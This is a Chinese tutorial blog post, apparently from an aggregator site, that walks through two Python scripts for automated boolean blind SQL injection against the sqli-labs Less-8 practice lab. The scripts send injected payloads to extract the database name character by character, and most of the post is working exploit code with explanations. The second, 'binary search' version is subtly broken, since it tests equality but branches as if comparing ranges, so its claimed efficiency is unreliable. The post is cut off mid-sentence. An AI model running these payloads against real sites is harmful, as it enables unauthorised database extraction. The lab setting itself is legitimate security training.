当前位置: 首页 > news >正文

网络安全(初级)(Python实现sql自动化布尔盲注)

以sqli靶场Less-8为例

字符型python代码

代码通过构造特定的 SQL 注入 Payload,向目标网站发送 HTTP 请求,根据服务器的响应信息逐步推断出数据库名称。这种方法利用了 SQL 注入漏洞,即通过在输入参数中注入恶意的 SQL 代码,来绕过正常的输入验证,获取数据库中的信息。

# 目标URL
url = "http://sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

 代码解析

1. 导入模块

import requests

这行代码导入了requests库,该库用于发送 HTTP 请求,在本代码中用于与目标网站进行交互。

2. 定义目标 URL 和变量

# 目标URL
url = "http://sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
  • url:指定了目标网站的 URL,即要进行 SQL 注入测试的页面。
  • database_name:用于存储推断出的数据库名,初始为空字符串。
  • charset:定义了可能出现在数据库名中的字符集,包括大小写字母、数字和一些特殊字符。

3. 推断数据库名的长度

def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
  • get_database_length函数的作用是推断数据库名的长度。
  • 使用一个无限循环,每次将length加 1。
  • 构造 SQL 注入 payload,payload中的length(database())用于获取数据库名的长度,通过不断尝试不同的length值,判断是否与实际长度相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in...........",说明当前length值就是数据库名的长度,返回该值。
  • 为了防止无限循环,当length超过 50 时,跳出循环并返回 0。
4. 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name
  • get_database_name函数根据已知的数据库名长度来推断数据库名。
  • 使用两层循环,外层循环遍历数据库名的每一个位置(从 1 到length),内层循环遍历字符集charset中的每一个字符。
  • 构造 SQL 注入 payload,substring(database(), {i}, 1)用于获取数据库名中第i个位置的字符,通过不断尝试不同的字符,判断是否与实际字符相等。
  • 发送带有payload的 GET 请求到目标 URL,将payload作为id参数的值。
  • 如果响应文本中包含"You are in",说明当前字符就是数据库名中第i个位置的字符,将该字符添加到db_name中,并跳出内层循环。
  • 最后返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
  • 主函数首先调用get_database_length函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用get_database_name函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

 数字型python代码

import requests# 目标URL
url = "http://sqli/Less-8/index.php"# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符# 推断数据库名的长度
def get_database_length():left, right = 1, 100while left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return midelif "You are in" not in response.text:left = mid + 1else:right = mid - 1return 0# 推断数据库名中的单个字符
def get_char_at_position(position):left, right = min_ascii, max_asciiwhile left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:return chr(mid)elif "You are in" not in response.text:left = mid + 1else:right = mid - 1return None# 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):char = get_char_at_position(i)if char:db_name += charreturn db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

1. 导入模块和定义常量

import requests# 目标URL
url = "http://sqli/Less-8/index.php"# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32  # 空格字符
max_ascii = 126  # 波浪线字符
  • requests 库用于发送 HTTP 请求。
  • url 是目标网站的 URL,即要进行 SQL 注入测试的页面。
  • min_ascii 和 max_ascii 定义了可能出现的字符的 ASCII 码范围,用于后续二分查找。
2. 推断数据库名的长度
def get_database_length():left, right = 1, 100while left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return midelif "You are in" not in response.text:left = mid + 1else:right = mid - 1return 0
  • 使用二分查找来确定数据库名的长度。初始时,left 为 1,right 为 100。
  • 在每次循环中,计算中间值 mid,并构造 SQL 注入 Payload,通过 length(database()) 函数获取数据库名的长度,并与 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in...........",说明 mid 就是数据库名的长度,返回 mid
    • 如果响应文本中不包含 "You are in",说明数据库名的长度大于 mid,更新 left = mid + 1
    • 否则,说明数据库名的长度小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的长度,返回 0。
3. 推断数据库名中的单个字符
def get_char_at_position(position):left, right = min_ascii, max_asciiwhile left <= right:mid = (left + right) // 2payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:return chr(mid)elif "You are in" not in response.text:left = mid + 1else:right = mid - 1return None
  • 同样使用二分查找来确定数据库名中指定位置的字符。
  • 对于每个位置,通过 ASCII(SUBSTRING(database(), {position}, 1)) 函数获取该位置字符的 ASCII 码,并与中间值 mid 进行比较。
  • 发送包含 Payload 的 GET 请求到目标 URL。
    • 如果响应文本中包含 "You are in",说明 mid 就是该位置字符的 ASCII 码,使用 chr(mid) 将其转换为字符并返回。
    • 如果响应文本中不包含 "You are in",说明该位置字符的 ASCII 码大于 mid,更新 left = mid + 1
    • 否则,说明该位置字符的 ASCII 码小于 mid,更新 right = mid - 1
  • 如果最终没有找到合适的字符,返回 None
4. 推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):char = get_char_at_position(i)if char:db_name += charreturn db_name
  • 遍历数据库名的每个位置,调用 get_char_at_position 函数获取该位置的字符。
  • 如果获取到字符,将其添加到 db_name 中。
  • 最终返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
  • 主函数首先调用 get_database_length 函数获取数据库名的长度。
  • 如果长度大于 0,打印数据库名的长度,并调用 get_database_name 函数推断数据库名,然后打印推断出的数据库名。
  • 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。

优缺点比较

字符型代码(字符型线性查找)

优点
  • 逻辑清晰:代码结构简单,将不同的功能封装成独立的函数,例如get_database_length用于获取数据库名称的长度,get_database_name用于根据长度推断数据库名称,主函数负责调用这些功能函数并输出结果,易于理解和维护。
  • 易于扩展:字符集charset可以根据需要进行扩展,方便处理包含更多字符的数据库名称。
缺点
  • 效率较低:在推断数据库名称的每个字符时,使用了线性查找,即遍历整个字符集,对于较长的字符集或数据库名称,需要发送大量的 HTTP 请求,时间复杂度较高。
  • 缺乏错误处理:代码没有对requests.get请求可能出现的异常进行处理,例如网络连接错误、请求超时等,当出现这些异常时,程序可能会崩溃。
改进建议
  • 添加异常处理:在requests.get调用处添加异常处理,确保程序在遇到网络问题时能够正常处理,避免崩溃。
try:response = requests.get(url, params={"id": payload})
except requests.RequestException as e:print(f"Request error: {e}")return None
  • 使用更高效的查找算法:如之前修改为二分查找的版本,能显著减少 HTTP 请求的次数,提高效率。

二分查找版本代码

优点
  • 效率提升:使用二分查找来推断数据库名称的长度和每个字符,将查找的时间复杂度从线性降低到对数级别,减少了 HTTP 请求的次数,提高了程序的执行效率。
  • 通用性:通过使用 ASCII 码范围来进行查找,避免了手动定义字符集的局限性,能够处理更广泛的字符。
缺点
  • 假设范围固定:代码假设数据库名称中的字符 ASCII 码范围在 32 到 126 之间,如果实际数据库名称包含超出这个范围的字符,可能无法正确推断。
  • 缺乏详细的错误反馈:对于二分查找过程中可能出现的异常情况,如没有找到合适的长度或字符,只是简单返回 0 或None,没有提供详细的错误信息,不利于调试。
改进建议
  • 扩大字符范围:可以根据实际情况扩大 ASCII 码范围,或者动态调整范围,以处理更多类型的字符。
  • 添加详细的错误反馈:在返回 0 或None时,输出更详细的错误信息,帮助调试。
if length == 0:print("Failed to determine database length. The database length might be greater t
http://www.dtcms.com/a/281905.html

相关文章:

  • JWT基础详解
  • 【云原生网络】Istio基础篇
  • 使用 CrewAI 进行股票分析:自动化投资决策的新途径
  • Capture One24下载与保姆级安装教程!
  • 解决“Windows 无法启动服务”问题指南
  • 数据库询问RAG框架Vanna的总体架构
  • 线上崩溃复盘
  • Unity Android Logcat插件 输出日志中文乱码解决
  • FPGA基础 -- Verilog 访问寄存器数组的指定位示例
  • 第六章 OBProxy 路由与使用运维
  • [Linux入门] Linux 账号和权限管理入门:从基础到实践
  • Linux实现进程之间Socket通信详解
  • 30 天自制 C++ 服务器--Day3
  • NO.6数据结构树|二叉树|满二叉树|完全二叉树|顺序存储|链式存储|先序|中序|后序|层序遍历
  • 【SpringBoot】实战-开发接口-用户-注册
  • 参数检验?非参数检验?
  • 【openbmc3】时间相关
  • 代码随想录算法训练营第五十一天|图论part2
  • 【FreeRTOS】03任务管理
  • 工业相机GigE数据接口的优势及应用
  • django安装、跨域、缓存、令牌、路由、中间件等配置
  • Jenkins全方位CI/CD实战指南
  • LabVIEW Occurrence功能
  • 嵌入式Linux(RV1126)系统定制中的编译与引导问题调试报告
  • 【RTSP从零实践】12、TCP传输H264格式RTP包(RTP_over_TCP)的RTSP服务器(附带源码)
  • 基于WebRTC技术实现一个在线课堂系统
  • el-input 回显怎么用符号¥和变量拼接展示?
  • Spring Boot 解决跨域问题
  • Spring Boot - Spring Boot 集成 MyBatis 分页实现 手写 SQL 分页
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(5):语法+单词